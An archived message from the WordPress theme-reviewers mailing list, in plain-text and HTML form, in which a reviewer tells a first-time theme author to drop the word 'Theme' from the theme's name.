--00163631028b575fbd04979f7a77-- From bogus@does.not.exist.com Tue Apr 20 23:23:57 2010 From: bogus@does.not.exist.com () Date: Tue, 20 Apr 2010 23:23:57 -0000 Subject: No subject Message-ID: without "Theme" in name itself. Cheers, Emil *Emil Uzelac* | ThemeID | T: 224-444-0006 | Twitter: @EmilUzelac| E: emil at themeid.com | http://themeid.com *Make everything as simple as possible, but not simpler.* - Albert Einstein On Mon, Feb 7, 2011 at 4:19 PM, Valentin wrote: > Hi! > > My theme wasn't approved, but there is nothing an information about why. > Can someone tell me the issues? > > http://themes.trac.wordpress.org/ticket/2890 > > It's my first theme and I need a bit of help =). > > Thanks > > _______________________________________________ > theme-reviewers mailing list > theme-reviewers at lists.wordpress.org > http://lists.wordpress.org/mailman/listinfo/theme-reviewers > > --0016e6470aa8936714049bb8be4e Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
From what I can see the theme name is "Picomol Theme" use &q= uot;Picomol" only without "Theme" in name itself.
=A0
Cheers,
Emil

=A0
Emil Uzelac | ThemeID | T: 224-444-0= 006 | Twitter: = @EmilUzelac | E: emil at themeid.com | http:= //themeid.com
Make everything as simple= as possible, but not simpler. - Albert Einstein


On Mon, Feb 7, 2011 at 4:19 PM, Valentin <valentin.stn at gmail= .com> wrote:
Hi!

My theme wasn't approved, but there is nothing an information abou= t why. Can someone tell me the issues?

http://themes.trac.wordpress.org/ticket/2890=20

It's my first theme and I need a bit of help =3D).=A0

Thanks

_______________________________________________
the= me-reviewers mailing list
theme-reviewers at lists.wordpress.org
http://l= ists.wordpress.org/mailman/listinfo/theme-reviewers


--0016e6470aa8936714049bb8be4e--